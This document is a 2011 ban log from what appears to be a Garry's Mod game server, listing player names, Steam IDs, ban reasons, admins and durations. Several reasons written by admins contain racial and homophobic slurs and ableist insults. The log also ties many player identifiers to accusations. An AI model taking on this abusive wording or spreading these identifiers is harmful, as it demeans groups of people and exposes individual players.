Permanent Banned +7:51 pm 18-03-11 Unknown STEAM_0:0:32655084 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +2:14 am 18-03-11 à¹?Û£_KÃ¥Ã?ööM_ž STEAM_0:1:29538397 ghosting ++[SP]+ MAD MANN Unknown Unknown 0:1:0 Unbanned +11:36 pm 17-03-11 Prettymuc STEAM_0:0:38035563 Alt of banned ID +STEAM_0:0:38035563 (Console) Unknown Unknown Permanent Banned +8:23 pm 17-03-11 Unknown STEAM_0:0:38035563 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +8:21 pm 17-03-11 Unknown STEAM_0:0:12190592 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:51 pm 17-03-11 Unknown STEAM_0:1:33085260 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +3:45 pm 17-03-11 linus5553 STEAM_0:1:27082347 RDM, rdming before and +banned, lying +[SP]+ ULTRA Unknown Unknown 3:1:20 Unbanned +3:28 pm 17-03-11 Dá?¦rkMonster STEAM_0:1:32079838 Talked afther i +told him not to 480m ColdFusion Unknown Unknown 0:8:0 Unbanned +3:23 pm 17-03-11 Sweet Noob STEAM_0:1:25630402 RDM + Proppushing ++[SP]+ ULTRA Unknown Unknown 1:0:0 Unbanned +3:20 pm 17-03-11 Unknown STEAM_0:1:38994052 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +3:19 pm 17-03-11 Unknown STEAM_0:1:38994052 480 ColdFusion +Unknown Unknown Permanent Banned +3:19 pm 17-03-11 Unknown STEAM_0:0:18898938 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +3:19 pm 17-03-11 Unknown STEAM_0:0:17605909 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +3:18 pm 17-03-11 Unknown STEAM_0:0:14690776 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +7:25 pm 16-03-11 Unknown STEAM_0:1:27082347 RDM + leave +[SP]+ +ULTRA Unknown Unknown 0:8:20 Unbanned +3:50 pm 16-03-11 AaOWhitey STEAM_0:0:37567815 fuck off ColdFusion +Unknown Unknown 0:8:0 Unbanned +2:54 pm 16-03-11 !2fast4you! STEAM_0:1:19267727 RDM +[SP]+ +Bloodcore Unknown Unknown 0:10:0 Unbanned +2:44 pm 16-03-11 Unknown STEAM_0:1:20701395 Mass-RDM -> Disconnect ++[SP]+ Bloodcore Unknown Unknown Permanent Banned +9:33 pm 15-03-11 david121694 STEAM_0:1:33291100 RDM +[SP]+ +Bloodcore Unknown Unknown 4:4:0 Unbanned +7:11 pm 15-03-11 +[SP]+ Nemesis STEAM_0:1:16289741 Test +[SP]+ +Hellknite Unknown Unknown 0:0:1 Unbanned +5:25 pm 15-03-11 Unknown STEAM_0:0:18902527 Dick in general, seen you +prop kill at least 5 times now ColdFusion Unknown Unknown 2:2:0 +Unbanned +5:23 pm 15-03-11 Unknown STEAM_0:0:18902527 Kept to RDM people even +after people told him not to. Being a tard, ignoring admin. Moving out +of hiding! Unknown Unknown Permanent Banned +5:21 pm 15-03-11 Unknown STEAM_0:0:18902527 Dick in general, seen you +prop kill at least 5 times now ColdFusion Unknown Unknown 2:2:0 +Unbanned +5:02 pm 15-03-11 Unknown STEAM_0:0:10230123 Rdm and disconnect +ColdFusion Unknown Unknown 2:18:40 Unbanned +2:03 pm 15-03-11 hot bird STEAM_0:1:30040569 Not learning +ColdFusion Unknown Unknown 0:6:40 Unbanned +1:50 pm 15-03-11 Unknown STEAM_0:1:18942871 Killing a fellow traitor +and making up a stupid excuse. Leaving without a good explanation ++[SP]+ ULTRA Unknown Unknown 30:0:0 Unbanned +7:55 pm 14-03-11 Unknown STEAM_0:1:16999502 will this overwrite the +old ban? +[SP]+ ULTRA Unknown Unknown 0:0:1 Unbanned +7:54 pm 14-03-11 Unknown STEAM_0:1:16999502 Being a fucking minge, +twat, retard. +[SP]+ ULTRA Unknown Unknown 0:0:1 Unbanned +7:45 pm 14-03-11 Unknown STEAM_0:1:16999502 Being a fucking minge, +twat, retard. +[SP]+ ULTRA Unknown Unknown 0:2:0 Unbanned +7:37 pm 14-03-11 beiber feber STEAM_0:1:16999502 Being a fucking +minge, twat, retard. +[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +2:41 pm 14-03-11 Unknown STEAM_0:1:15320742 Cheat: Speedhack +ColdFusion Unknown Unknown Permanent Banned +8:43 pm 13-03-11 Roll STEAM_0:1:20264839 Gore Spray, Multiple +Warnings, Ignoring Admin +[SP]+ Bloodcore Unknown Unknown 16:16:0 +Unbanned +7:23 pm 13-03-11 Unknown STEAM_0:1:8048579 Admin impersonation, dumb, +ADMINS ON THIS SERVER FUCK EACHOTHERS ASS (Console) Unknown Unknown +Permanent Banned +6:27 pm 13-03-11 Unknown STEAM_0:0:17277217 Cheat: lh (Console) +Unknown Unknown Permanent Banned +4:49 pm 13-03-11 Unknown STEAM_0:1:30074494 RDM -> Disconnect +[SP]+ +Bloodcore Unknown Unknown 12:12:0 Unbanned +10:34 pm 12-03-11 marko-ramius STEAM_0:0:27242516 Cheat: Speedhack +ColdFusion Unknown Unknown Permanent Banned +6:06 pm 12-03-11 Fluffy Mad Cat STEAM_0:0:28871977 Cheat: Speedhack +ColdFusion Unknown Unknown Permanent Banned +2:52 pm 12-03-11 Unknown STEAM_0:0:2294681 Cheat: Convar forcing +ColdFusion Unknown Unknown Permanent Banned +10:48 am 12-03-11 -=Dr.Rush=- STEAM_0:1:32329244 Idiot ColdFusion +Unknown Unknown 0:8:0 Unbanned +10:48 am 12-03-11 Andaz STEAM_0:0:19953733 Why? ColdFusion +Unknown Unknown 0:8:0 Unbanned +10:05 am 12-03-11 Colek STEAM_0:1:10972966 Idiot ColdFusion +Unknown Unknown 0:8:0 Unbanned +2:45 am 12-03-11 Unknown STEAM_0:0:1500931 RDM then disconnect ++[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +7:00 pm 11-03-11 theguard STEAM_0:1:30165654 Wants people to hate +him, 1200 minutes ColdFusion Unknown Unknown 0:20:0 Unbanned +2:42 pm 11-03-11 Unknown STEAM_0:0:18614491 Randomly attacking people ++ Lying to admin +[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +2:10 pm 11-03-11 COMPANY OF ASSHOLES (WOLFGANG) STEAM_0:1:24281967 +RDM 480 minutes, Meh ColdFusion Unknown Unknown 0:8:0 Unbanned +2:07 pm 11-03-11 Unknown STEAM_0:1:16105665 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +2:07 pm 11-03-11 Unknown STEAM_0:1:16105665 RDM +[SP]+ ULTRA +Unknown Unknown 7:0:0 Unbanned +1:34 pm 11-03-11 Unknown STEAM_0:1:30162895 RDM -> Disconnect +[SP]+ +Bloodcore Unknown Unknown 6:22:40 Unbanned +6:12 am 11-03-11 +[SP]+ Saphirra STEAM_0:0:20503368 Complete dick +towards Saphira +[SP]+ St. Hetfield Unknown Unknown Permanent Banned +10:02 pm 10-03-11 Unknown STEAM_0:0:25519336 Mass RDM // Request from +Bloodcore +[SP]+ ULTRA Unknown Unknown 2:0:20 Unbanned +9:41 pm 10-03-11 Unknown STEAM_0:1:18287314 Rebanning for the third +time, ban bug. +[SP]+ ULTRA Unknown Unknown Permanent Banned +4:45 pm 08-03-11 Numb STEAM_0:1:500153 Rdm 480 m ColdFusion +Unknown Unknown 0:8:0 Unbanned +2:06 pm 08-03-11 -.@[]@.- STEAM_0:1:16041153 RDM + Lying all the +time +[SP]+ ULTRA Unknown Unknown Permanent Banned +1:36 pm 08-03-11 Unknown STEAM_0:1:32648334 RDM + Leave without +explanation +[SP]+ ULTRA Unknown Unknown 1:0:0 Unbanned +2:34 am 07-03-11 xxDasBoSChittxx STEAM_0:1:13493394 Threatening +illegal activities, trolling, imitating other people +[SP]+ Suicidal +Robot Unknown Unknown Permanent Banned +12:14 am 07-03-11 CÂ?0BRA STEAM_0:0:32164051 Alt of banned ID +STEAM_0:1:18811312 (Console) Unknown Unknown Permanent Banned +6:50 pm 06-03-11 aaagamer STEAM_0:1:19986344 RDM 480 m ColdFusion +Unknown Unknown 0:8:0 Unbanned +6:48 pm 06-03-11 The Fading Door STEAM_0:1:27260119 RDM +[SP]+ +Bloodcore Unknown Unknown 0:2:0 Unbanned +2:23 pm 06-03-11 Unknown STEAM_0:1:26221432 RDM + Disconnect +[SP]+ +St. Hetfield Unknown Unknown Permanent Banned +2:17 pm 06-03-11 Unknown STEAM_0:1:22684909 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +2:05 pm 06-03-11 Rela STEAM_0:0:24086497 10 minutes for RDM +[SP]+ +St. Hetfield Unknown Unknown 0:0:10 Unbanned +11:09 am 06-03-11 vitaminka76 STEAM_0:1:12863750 RDM/karma to low +1000 minutes ColdFusion Unknown Unknown 0:16:40 Unbanned +10:39 am 06-03-11 Unknown STEAM_0:0:24419439 RDM ColdFusion +Unknown Unknown 0:14:40 Unbanned +10:20 am 06-03-11 Unknown STEAM_0:0:15672028 RDM ColdFusion +Unknown Unknown Permanent Banned +9:02 am 06-03-11 Samusf STEAM_0:1:25630402 Calm down +[SP]+ St. +Hetfield Unknown Unknown 0:0:5 Unbanned +3:42 am 06-03-11 Mr. Biggles STEAM_0:0:15869913 Rdm and being a +fuckass +[SP]+ Hellknite Unknown Unknown 0:10:0 Unbanned +1:17 am 06-03-11 Agito STEAM_0:1:29323968 Alt of banned ID +STEAM_0:0:31831863 (Console) Unknown Unknown Permanent Banned +7:41 pm 05-03-11 Hvolgaard STEAM_0:0:14112901 Mass-RDM as detective ++[SP]+ Bloodcore Unknown Unknown Permanent Banned +6:43 pm 05-03-11 ............................... STEAM_0:1:36114090 +Alt of banned ID STEAM_0:1:25983023 (Console) Unknown Unknown +Permanent Banned +3:53 pm 05-03-11 Unknown STEAM_0:0:5422966 RDM as detective several +times, leaving +[SP]+ ULTRA Unknown Unknown Permanent Banned +2:28 pm 05-03-11 hondacoolkid STEAM_0:0:37769890 Mass-RDM +[SP]+ +Bloodcore Unknown Unknown 4:20:40 Unbanned +10:53 am 05-03-11 mr_lakris STEAM_0:0:37841002 Major TK, Have fun ++[SP]+ CCD Unknown Unknown Permanent Banned +10:49 am 05-03-11 vitaminka76 STEAM_0:1:12863750 Team Killing +[SP]+ +CCD Unknown Unknown 0:2:0 Unbanned +10:47 am 05-03-11 BloodyDragon (CRO) STEAM_0:1:6121968 Team Killing ++[SP]+ CCD Unknown Unknown 0:2:0 Unbanned +4:10 am 05-03-11 +[SP]+ OldFaggotDike STEAM_0:1:21996971 Using the +Tag without Permission, RDM +[SP]+ Bloodcore Unknown Unknown +20:20:0 Unbanned +3:59 am 05-03-11 WOW_STADS FOR WROLD OF WARCRAFT STEAM_0:1:1702393 +WoW-Fan, RDM, Ignoring Admin +[SP]+ Bloodcore Unknown Unknown +0:1:0 Unbanned +10:04 pm 04-03-11 «ξÏ?Î?Ï?»â?¢Â§Â©Ð¯Ã­Ã?Ã?Å?£ STEAM_0:1:13351892 +base removal while under attack and mouthing off +[SP]+ Suicidal +Robot Unknown Unknown 2:0:0 Unbanned +5:49 pm 04-03-11 killerrr STEAM_0:1:18287314 Come back in a year, +rebanning Cloaked PIAT Sapper Unknown Unknown 365:0:0 Unbanned +1:44 pm 04-03-11 Unknown STEAM_0:1:10848220 Being a smart ass + rdm + +doing that on an admin +[SP]+ ULTRA Unknown Unknown 1:0:0 Unbanned +11:31 pm 03-03-11 JTFish STEAM_0:0:5769642 Fag 120 minutes, go suck a +ginger dick ColdFusion Unknown Unknown 0:2:0 Unbanned +8:57 pm 03-03-11 Å?lεÑ?ø STEAM_0:1:20461246 RDM ColdFusion +Unknown Unknown Permanent Banned +8:40 pm 03-03-11 Shoulda Had A V8 STEAM_0:1:4166235 Fuck you Nigga +aswell +[SP]+ CCD Unknown Unknown Permanent Banned +4:30 pm 03-03-11 Unknown STEAM_0:1:25983023 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +4:28 pm 03-03-11 Unknown STEAM_0:1:6068936 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +4:21 pm 03-03-11 Dr. Bond STEAM_0:0:30049961 Rainbows ColdFusion +Unknown Unknown 0:8:0 Unbanned +8:40 pm 02-03-11 SUPER GEEK STEAM_0:0:7323765 Randomly shooting + +retard +[SP]+ ULTRA Unknown Unknown 7:0:0 Unbanned +3:33 pm 02-03-11 Kaec STEAM_0:0:2910428 So you were that fucking +propkiller St. Hetfield Unknown Unknown 0:5:0 Unbanned +2:10 pm 02-03-11 Clu - i7 980X STEAM_0:1:18120705 Cool of man St. +Hetfield Unknown Unknown 0:0:5 Unbanned +11:25 pm 01-03-11 Unknown STEAM_0:0:13401222 spaming +[SP]+ MAD +MANN Unknown Unknown Permanent Banned +11:14 pm 01-03-11 Unknown STEAM_0:0:35383877 spam spam spam +[SP]+ +MAD MANN Unknown Unknown Permanent Banned +11:11 pm 01-03-11 Unknown STEAM_0:0:35383877 Mic spam, Asshole ++[SP]+ CCD Unknown Unknown Permanent Banned +11:10 pm 01-03-11 Manic STEAM_0:1:31068293 Fuck of changing your +name, and mic spam +[SP]+ CCD Unknown Unknown Permanent Banned +11:08 pm 01-03-11 Unknown STEAM_0:1:8562453 Racism +[SP]+ MAD MANN +Unknown Unknown Permanent Banned +11:05 pm 01-03-11 Dublin STEAM_0:1:8562453 Racism +[SP]+ CCD +Unknown Unknown Permanent Banned +5:12 pm 01-03-11 |HGN| Predu STEAM_0:0:16901706 Disrespecting admin, +being a complete ass +[SP]+ St. Hetfield Unknown Unknown 2:2:0 +Unbanned +5:06 pm 01-03-11 Elevator champion! STEAM_0:0:2222826 Have you got +skills for unban? +[SP]+ St. Hetfield Unknown Unknown 2:2:0 Unbanned +4:56 pm 01-03-11 fam.de.haas STEAM_0:0:35542700 You suck, detective ++[SP]+ St. Hetfield Unknown Unknown 1:9:20 Unbanned +4:30 pm 01-03-11 +[SP]+ Samgie123 STEAM_0:0:33773456 Wtf is wrong +with you - CCD +[SP]+ CCD Unknown Unknown 0:2:9 Unbanned +12:52 am 01-03-11 Cheesey Dean STEAM_0:1:24840872 Same reason as +other ban +[SP]+ Wigbig Unknown Unknown 2:8:40 Unbanned +12:51 am 01-03-11 Unknown STEAM_0:1:24840872 Same reason as other +ban +[SP]+ Wigbig Unknown Unknown 2:8:40 Unbanned +12:10 am 01-03-11 British beast STEAM_0:1:18460701 Insulting players, +admins, teamkilling +[SP]+ Wigbig Unknown Unknown 2:8:40 Unbanned +4:37 pm 28-02-11 Unknown STEAM_0:0:7417382 RDM,Treason,Asshole,FUCK +FACE +[SP]+ CCD Unknown Unknown 0:3:0 Unbanned +2:41 pm 28-02-11 Dr. House STEAM_0:0:8996978 No spam +[SP]+ St. +Hetfield Unknown Unknown 0:1:40 Unbanned +1:22 pm 28-02-11 Smike STEAM_0:1:17826664 Idiot +[SP]+ St. +Hetfield Unknown Unknown Permanent Banned +3:11 am 28-02-11 Unknown STEAM_0:0:2346050 (N/A) +[SP]+ Bloodcore +Unknown Unknown 0:10:0 Unbanned +3:10 am 28-02-11 -=[SP]=- à¹?Û?Û£Roxas [Reprend] STEAM_0:0:2346050 +Behave. +[SP]+ Bloodcore Unknown Unknown 4:4:0 Unbanned +3:09 am 28-02-11 wendy_derkle546 STEAM_0:0:19402729 Get out +[SP]+ +Bloodcore Unknown Unknown Permanent Banned +4:59 pm 27-02-11 Unknown STEAM_0:1:9126471 Mass-RDM, RDM, Possibility +of ghosting, etc +[SP]+ Bloodcore Unknown Unknown Permanent Banned +4:12 pm 27-02-11 +[SP]+ ty (deus lo vault) STEAM_0:1:25219286 Using +the tag without being a member +[SP]+ Bloodcore Unknown Unknown +0:10:0 Unbanned +1:03 pm 27-02-11 ä¹?Я-Rä¹?â?¢B̵̡u̵̡n̵̡d̵ STEAM_0:0:22243544 +Faggot,Learntoplay,RDM +[SP]+ CCD Unknown Unknown 0:2:0 Unbanned +12:26 pm 27-02-11 [Gmod.biZ] ︻æ°?ã??â??ä¸? Kill STEAM_0:0:27065857 +Ghosting +[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +12:25 pm 27-02-11 Unknown STEAM_0:1:26626436 Ghosting +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +12:19 pm 27-02-11 â??Blλck CobЯaâ?? [Gmod.biZ] STEAM_0:1:31973372 +RDM,GHOSTING +[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +12:18 pm 27-02-11 [Gmod.biZ] TT No 1 Forever STEAM_0:1:26626436 +Ghosting +[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +8:33 pm 26-02-11 Dziwaczna papuga zagÅ?ady xD STEAM_0:0:27446399 +RDM,Treason +[SP]+ CCD Unknown Unknown 31:6:0 Unbanned +7:41 pm 26-02-11 wsupden STEAM_0:1:36358497 RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +9:32 am 26-02-11 Unknown STEAM_0:0:20472448 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +7:44 pm 25-02-11 ChooseN STEAM_0:0:18859568 TROLOLOLOLOL +[SP]+ +CCD Unknown Unknown 6:23:20 Unbanned +1:20 pm 25-02-11 Unknown STEAM_0:1:11936829 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 1:0:0 Unbanned +2:11 am 25-02-11 Gorgeous Groege STEAM_0:1:23430296 RDM,Persistent ++[SP]+ CCD Unknown Unknown Permanent Banned +10:57 pm 24-02-11 Klaus STEAM_0:1:8048579 Mass-RDM, Leaving and +changing name to prevent punishment +[SP]+ Bloodcore Unknown +Unknown 8:8:0 Unbanned +10:53 pm 24-02-11 Unknown STEAM_0:1:5388189 Lying, Leaving to prevent +punishment +[SP]+ Bloodcore Unknown Unknown 0:1:0 Unbanned +6:30 pm 23-02-11 Ice Fox STEAM_0:1:21588698 Rdm and disrespecting my +fapping +[SP]+ St. Hetfield Unknown Unknown 0:0:30 Unbanned +6:16 pm 23-02-11 junior STEAM_0:1:26943387 Suck a dick +[SP]+ St. +Hetfield Unknown Unknown 0:0:30 Unbanned +4:45 pm 23-02-11 [FP] Jolt Masslight STEAM_0:1:15864997 Alt of banned +ID STEAM_0:1:15056804 (Console) Unknown Unknown 0:0:2 Unbanned +4:38 pm 23-02-11 Commoner STEAM_0:1:15056804 Cant play normally, 10 +minutes ColdFusion Unknown Unknown 0:0:10 Unbanned +4:16 pm 23-02-11 -cG-à¹?Û£Û?Boneà¹?Û£Û?Breaker93 STEAM_0:0:30812563 +RDM/Karma To low, 480 Minutes ColdFusion Unknown Unknown 0:8:0 +Unbanned +1:50 pm 23-02-11 WtFzRRR STEAM_0:1:19453162 RDM +[SP]+ CCD +Unknown Unknown 0:7:30 Unbanned +9:51 am 23-02-11 Unknown STEAM_0:1:18810998 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 0:5:0 Unbanned +3:57 pm 22-02-11 Unknown STEAM_0:1:31177732 RDM,Left +[SP]+ CCD +Unknown Unknown Permanent Banned +3:45 pm 22-02-11 Unknown STEAM_0:0:33330244 RDM,Treason,Left ++[SP]+ CCD Unknown Unknown Permanent Banned +3:23 am 22-02-11 Unknown STEAM_0:1:34087683 Crashing the server ++[SP]+ Bloodcore Unknown Unknown Permanent Banned +1:37 am 22-02-11 Unknown STEAM_0:0:11587057 RDM, RDM -> Disconnect, +Ignoring Admin +[SP]+ Bloodcore Unknown Unknown 41:16:0 Unbanned +9:55 pm 21-02-11 Red bull STEAM_0:0:36505286 Rdm (again) 120 +minutes ColdFusion Unknown Unknown 0:2:0 Unbanned +9:20 pm 21-02-11 Unknown STEAM_0:0:14260996 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:13 pm 21-02-11 Hellsâ??Highway[AM] STEAM_0:1:5190088 RDM +ColdFusion Unknown Unknown 0:2:0 Unbanned +8:59 pm 21-02-11 Vittorio STEAM_0:0:16253055 Gag evading 120 +minutes ColdFusion Unknown Unknown 0:2:0 Unbanned +5:30 pm 21-02-11 â?­ VenaGe;3 Ft. Roflcopta â?­ STEAM_0:0:19804927 My +genitals itch +[SP]+ St. Hetfield Unknown Unknown Permanent Banned +4:07 pm 21-02-11 +[SP]+ MeadowBug STEAM_0:0:18096541 Enjoy your +break +[SP]+ St. Hetfield Unknown Unknown Permanent Unbanned +3:57 pm 21-02-11 spinuck STEAM_0:1:4883056 Massive RDM +[SP]+ St. +Hetfield Unknown Unknown 4:4:0 Unbanned +3:41 pm 21-02-11 (MG)CheeseBurgerApocalypse STEAM_0:1:28267770 RDM ++[SP]+ St. Hetfield Unknown Unknown 0:0:10 Unbanned +2:45 pm 21-02-11 Dr.Dolfenjunge von Tacoschmerz STEAM_0:0:26652739 +Shut up +[SP]+ St. Hetfield Unknown Unknown 0:0:10 Unbanned +2:23 pm 21-02-11 .::OoNikItOsiNaoO::. STEAM_0:1:37473607 RDM +ColdFusion Unknown Unknown 0:2:0 Unbanned +11:13 pm 20-02-11 LGDragon STEAM_0:1:37008122 RDM, Ghosting +[SP]+ +Bloodcore Unknown Unknown Permanent Unbanned +11:12 pm 20-02-11 Aaron13 STEAM_0:0:35800006 RDM, Ghosting +[SP]+ +Bloodcore Unknown Unknown Permanent Unbanned +7:45 pm 20-02-11 rofl copta rulez STEAM_0:0:34586771 Idiotic RDM ++[SP]+ Bloodcore Unknown Unknown 8:8:0 Unbanned +5:23 pm 20-02-11 ¤..:::Kyubu:::..¤ Noobie_war STEAM_0:1:33410999 +RDM, Multiple Warnings +[SP]+ Bloodcore Unknown Unknown 41:16:0 +Unbanned +2:32 pm 20-02-11 TMC | Hatake Kakashi STEAM_0:0:22843745 RDM +ColdFusion Unknown Unknown 0:2:0 Unbanned +2:12 pm 20-02-11 Unknown STEAM_0:0:31618055 Cheat: Aspergers +(Console) Unknown Unknown Permanent Banned +2:11 pm 20-02-11 Unknown STEAM_0:1:37836545 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +2:11 pm 20-02-11 Unknown STEAM_0:1:6427907 Cheat: Aspergers +(Console) Unknown Unknown Permanent Banned +10:11 pm 19-02-11 Unknown STEAM_0:0:29999073 (N/A) +[SP]+ +Bloodcore Unknown Unknown 0:10:0 Unbanned +10:10 pm 19-02-11 aziza mustafa zadeh STEAM_0:0:29999073 I +kicked/gagged you for a reason. +[SP]+ Bloodcore Unknown Unknown +4:4:0 Unbanned +9:24 pm 19-02-11 [á´°s] II HitmanJack x STEAM_0:1:32531347 RDM, +Mic-Spam, Threatening to DoS +[SP]+ Bloodcore Unknown Unknown +32:4:0 Unbanned +3:37 pm 19-02-11 mcburgerqueen STEAM_0:1:30426035 Alt of banned ID +STEAM_0:1:34294816 (Console) Unknown Unknown 55:5:33 Unbanned +5:11 am 19-02-11 Unknown STEAM_0:1:34294816 DR - Button Spammer ++[SP]+ Bloodcore Unknown Unknown 41:16:0 Unbanned +5:10 am 19-02-11 Flaperjacker STEAM_0:1:34294816 DR +[SP]+ +Bloodcore Unknown Unknown 41:16:0 Unbanned +8:20 pm 18-02-11 Zmirtz=+?&¤#æøtf STEAM_0:1:22227786 (N/A) +[SP]+ +Bloodcore Unknown Unknown 0:1:0 Unbanned +6:11 pm 17-02-11 Unknown STEAM_0:1:28153489 (N/A) +[SP]+ ULTRA +Unknown Unknown 60:0:0 Unbanned +6:03 pm 17-02-11 Unknown STEAM_0:1:19312535 (N/A) +[SP]+ ULTRA +Unknown Unknown 0:10:0 Unbanned +5:58 pm 17-02-11 Unknown STEAM_0:1:24982196 (N/A) +[SP]+ ULTRA +Unknown Unknown 14:0:0 Unbanned +5:52 pm 17-02-11 Unknown STEAM_0:1:2889508 (N/A) +[SP]+ ULTRA +Unknown Unknown 30:0:0 Unbanned +8:11 pm 14-02-11 Unknown STEAM_0:0:22123586 (N/A) +[SP]+ ULTRA +Unknown Unknown Permanent Banned +7:26 pm 14-02-11 Unknown STEAM_0:0:34730342 (N/A) +[SP]+ ULTRA +Unknown Unknown 7:0:0 Unbanned +7:05 pm 14-02-11 ColdFusion STEAM_0:0:13310483 (N/A) ColdFusion +Unknown Unknown 0:0:0 Unbanned +12:46 pm 14-02-11 Unknown STEAM_0:1:24332877 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +9:04 pm 13-02-11 Unknown STEAM_0:1:12209165 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +9:03 pm 13-02-11 Unknown STEAM_0:0:13388289 Cheat: Eradicate +(Console) Unknown Unknown Permanent Banned +9:55 am 13-02-11 Unknown STEAM_0:1:18811312 Cheat: SySHack +(Console) Unknown Unknown Permanent Banned +9:52 am 13-02-11 Unknown STEAM_0:1:16190578 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +9:52 am 13-02-11 Unknown STEAM_0:0:31831863 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:14 am 12-02-11 Unknown STEAM_0:1:37548052 Cheat: Inkbot +(Console) Unknown Unknown Permanent Banned +11:14 am 12-02-11 Unknown STEAM_0:0:31831863 Cheat: +Sethhack(leaked) (Console) Unknown Unknown Permanent Banned +7:21 pm 11-02-11 Unknown STEAM_0:0:18816061 Cheat: Sethhack(leaked) +(Console) Unknown Unknown Permanent Banned +7:20 pm 11-02-11 Unknown STEAM_0:0:15446164 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +7:19 pm 11-02-11 Unknown STEAM_0:1:20789337 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +4:35 pm 10-02-11 Unknown STEAM_0:1:20789337 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +2:02 pm 09-02-11 Unknown STEAM_0:0:19938980 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +5:45 pm 06-02-11 Unknown STEAM_0:1:29151231 Removing base to avoid +losing money, flaming - Hetfield (Console) Unknown Unknown +Permanent Unbanned +5:23 pm 06-02-11 Unknown STEAM_0:1:15998850 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +5:22 pm 06-02-11 Unknown STEAM_0:1:21918773 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +3:10 pm 05-02-11 Unknown STEAM_0:0:28903624 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:00 pm 02-02-11 Unknown STEAM_0:1:22018370 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:00 pm 02-02-11 Unknown STEAM_0:0:31866003 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +3:31 pm 02-02-11 Unknown STEAM_0:0:38362287 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +3:30 pm 02-02-11 Unknown STEAM_0:1:12808689 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +3:30 pm 02-02-11 Unknown STEAM_0:1:32988394 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +3:29 pm 02-02-11 Unknown STEAM_0:0:13983114 SethHack - Reban if +necessary (Console) Unknown Unknown 444:13:4 Unbanned +7:16 pm 26-01-11 |IMD| HuggyBear STEAM_0:1:14411996 (Troll) +Flapadar Unknown Unknown Permanent Banned +7:16 pm 26-01-11 |IMD| Dont fear the bunny STEAM_0:1:16661068 +(Troll) Flapadar Unknown Unknown Permanent Banned +7:16 pm 26-01-11 |IMD| UberSmudge STEAM_0:1:18589389 (Troll) +Flapadar Unknown Unknown Permanent Banned +7:09 pm 26-01-11 The Suave Mongrel STEAM_0:0:24330895 Alt of banned +ID STEAM_0:0:24330895 (Console) Unknown Unknown Permanent Banned +7:36 pm 25-01-11 Unknown STEAM_0:1:36114090 SethHack Dev - Reban if +necessary (Console) Unknown Unknown Permanent Unbanned +1:27 pm 23-01-11 Unknown STEAM_0:0:15704483 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +1:24 pm 23-01-11 Unknown STEAM_0:1:25879423 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +9:54 pm 22-01-11 shadow dealer STEAM_0:1:33622830 +[SP]+ Nekoace +Unknown Unknown Permanent Banned +7:39 pm 19-01-11 Unknown STEAM_0:1:27836986 Insulting admins +(Console) Unknown Unknown 1:0:0 Unbanned +6:15 pm 19-01-11 Unknown STEAM_0:1:25179712 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +4:17 pm 17-01-11 Unknown STEAM_0:1:16784284 Just shut up nerd... +(Console) Unknown Unknown Permanent Banned +1:08 pm 15-01-11 Unknown STEAM_0:1:27017512 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +12:41 pm 15-01-11 Unknown STEAM_0:1:37118627 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +12:40 pm 15-01-11 Unknown STEAM_0:1:19732775 Cheat: Ph0ne +(Console) Unknown Unknown Permanent Banned +6:52 pm 09-01-11 Unknown STEAM_0:0:14530371 Cheat: Code +injection(SQLite) (Console) Unknown Unknown Permanent Banned +6:52 pm 09-01-11 Unknown STEAM_0:0:17003802 Cheat: Code +injection(SQLite) (Console) Unknown Unknown Permanent Banned +6:51 pm 09-01-11 Unknown STEAM_0:0:29163952 Cheat: Code +injection(SQLite) (Console) Unknown Unknown Permanent Banned +6:47 pm 09-01-11 Unknown STEAM_0:0:5325124 Cheat: Code +injection(SQLite) (Console) Unknown Unknown Permanent Banned +6:47 pm 09-01-11 Unknown STEAM_0:1:29853070 Cheat: Code +injection(SQLite) (Console) Unknown Unknown Permanent Banned +6:44 pm 09-01-11 Unknown STEAM_0:0:22770384 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +6:43 pm 09-01-11 Unknown STEAM_0:1:7334549 Cheat: Code +injection(SQLite) (Console) Unknown Unknown Permanent Banned +6:31 pm 09-01-11 Unknown STEAM_0:1:20026079 Cheat: Odius 